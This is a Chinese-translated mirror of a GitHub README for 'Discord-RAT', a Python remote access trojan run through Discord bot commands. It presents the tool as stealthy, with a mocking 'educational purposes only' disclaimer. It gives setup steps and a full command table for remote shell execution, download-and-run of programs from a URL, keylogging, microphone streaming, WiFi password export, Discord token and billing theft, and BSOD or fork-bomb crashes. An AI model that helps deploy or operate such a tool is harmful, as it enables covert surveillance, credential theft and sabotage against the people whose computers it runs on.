truelockmc/Discord-RAT

GitHub: truelockmc/Discord-RAT

一个基于Discord的Python远程管理工具,允许用户通过聊天命令远程控制计算机。

Stars: 31 | Forks: 8

# Discord-RAT 一款基于 Discord 的远程管理工具。易于使用、隐蔽且功能强大。 这个 Python 程序本质上是在其运行的计算机上托管一个 Discord 机器人,允许配置它的用户通过 Discord 命令远程控制计算机。它支持多种功能,如执行命令、截取屏幕截图、管理文件等。 它可以同时处理多个设备。 ## 当然,而且仅供教育目的 < 3 呵呵 ## 功能 - **📶 Ping:** 检查机器人的延迟。 - **📸 截图:** 截取屏幕截图并通过 Discord 发送。 - **💻 执行命令:** 运行任何 CMD 和 PowerShell 命令。 - **📂 文件管理:** 上传和下载文件。 - **🌐 远程执行:** 从 URL 下载并执行任何程序。 - **🔔 通知:** 发送系统通知。 - **🖥️ 系统控制:** 重启或关闭计算机。 - **🔑 管理员权限:** 提升机器人以管理员权限运行。 - **📡 WiFi 凭据:** 导出并发送 WiFi 配置文件和密码。 - **📝 系统信息:** 检索系统信息。 - **⚙️ 任务管理:** 列出并终止进程。 - **🧹 清除消息:** 清除频道中的机器人消息和命令。 - **🎙️ 实时麦克风流:** 将计算机的麦克风实时流式传输到 Discord 语音频道。 - **⌨️ 键盘记录器:** 记录键盘按键并将其发送到 Discord 频道。 - **🗣️ 文字转语音:** 在计算机上播放文本转语音消息。 - **⛔ 拒绝服务:** 阻止用户输入(键盘和鼠标)或使屏幕变黑并隐藏光标。 - **💥 崩溃/蓝屏:** 通过 fork 炸弹或蓝屏死机使计算机崩溃。 - **🎵 恶作剧:** 播放一个只能通过电源按钮或 `Ctrl + Alt + Delete` 退出的全屏恶作剧。 - **🔊 音量控制:** 更改计算机音量或静音/取消静音。 - **🕵️ Token 抓取器:** 抓取 Discord token、账单和联系信息。 ## 要求 - Python 3.6+ - Discord.py - 附加的 Python 包(列在 `requirements.txt` 中) ## 安装 1. 克隆仓库: git clone https://github.com/truelockmc/Discord-RAT.git cd Discord-RAT 2. 安装所需的包: pip install -r requirements.txt 3. 设置你的 `.env` 文件(参见下方的配置) ## 配置 所有凭据都存储在 `.env` 文件中 1. 复制示例文件: cp .env.example .env 2. 打开 `.env` 并填入你的值: BOT_TOKEN= GUILD_ID= AUTHORIZED_USERS= VOICE_CHANNEL_ID= ### 在哪里可以找到每个值 | 配置项 | 获取方式 | |---|---| | `BOT_TOKEN` | [Discord 开发者门户](https://discord.com/developers/applications) → 你的应用 → **机器人** → **Token** | | `GUILD_ID` | 右键单击机器人应在其上运行的 Discord 服务器 → **复制服务器 ID** | | `AUTHORIZED_USERS` | 右键单击你的个人资料 → **复制用户 ID**(多个 ID 用逗号分隔) | | `VOICE_CHANNEL_ID` | 右键单击机器人应使用的语音频道 → **复制频道 ID** | ## 运行机器人 要运行机器人,请执行该脚本: ``` python main.py ``` ## 命令 | 命令 | 描述 | |---|---| | `!ping` | 显示机器人的延迟。 | | `!screenshot` | 截取屏幕截图并发送。 | | `!cmd ` | 执行一个 CMD 命令。 | | `!powershell ` | 执行一个 PowerShell 命令。 | | `!file_upload ` | 将文件上传到指定路径。 | | `!file_download ` | 从指定路径下载文件或文件夹。(发送到 Discord) | | `!execute ` | 从 URL 下载一个程序并执行它。 | | `!notify <message>` | 发送一个通知。 | | `!restart` | 重启电脑。 | | `!shutdown` | 关闭电脑。 | | `!admin` | 请求管理员权限。 | | `!stop` | 停止机器人。 | | `!wifi` | 显示 WiFi 配置文件和密码。 | | `!system_info` | 显示系统信息。 | | `!taskkill <pid>` | 终止指定 PID 的进程。 | | `!purge` | 删除机器人消息和命令。 | | `!help` | 显示可用命令列表。 | | `!tts <message>` | 播放自定义文本转语音消息。 | | `!mic_stream_start` | 开始将麦克风实时流式传输到语音频道。 | | `!mic_stream_stop` | 如果已激活,则停止麦克风流。 | | `!keylog <on/off>` | 激活或停用键盘记录。 | | `!input <block/unblock>` | 完全阻止或取消阻止用户输入,键盘和鼠标。 | | `!rickroll` | 播放一个无法逃脱的恶作剧。 | | `!bsod` | 触发蓝屏死机。 | | `!volume` | 显示音量信息和可用命令。 | | `!volume <mute/unmute>` | 将设备静音或取消静音。 | | `!volume <number from 1-100>` | 将音量设置为特定百分比。 | | `!blackscreen <on/off>` | 使屏幕完全变黑并让指针消失。 | | `!grab_discord` | 抓取 Discord Token、账单和联系信息。 | ### 使用示例 1. **运行一个 CMD 命令:** !cmd dir 2. **截取屏幕截图:** !screenshot 3. **重启电脑:** !restart ## 安全性 - 通过更新 `AUTHORIZED_USERS` 列表,确保只有可信用户可以访问该机器人。 - 避免公开分享机器人 token。 ## 许可证 本项目根据 GNU Affero 通用公共许可证 v3.0 (AGPL-3.0) 获得许可 ## 联系 / 帮助 此项目已被存档,我将不再为你提供使用支持。</div><div><strong>标签:</strong>逆向工具</div></article></div> <!-- 人机验证 --> <script> (function () { var base = (document.querySelector('base') && document.querySelector('base').getAttribute('href')) || ''; var path = base.replace(/\/?$/, '') + '/cap-wasm/cap_wasm.min.js'; window.CAP_CUSTOM_WASM_URL = new URL(path, window.location.href).href; })(); </script> </body> </html>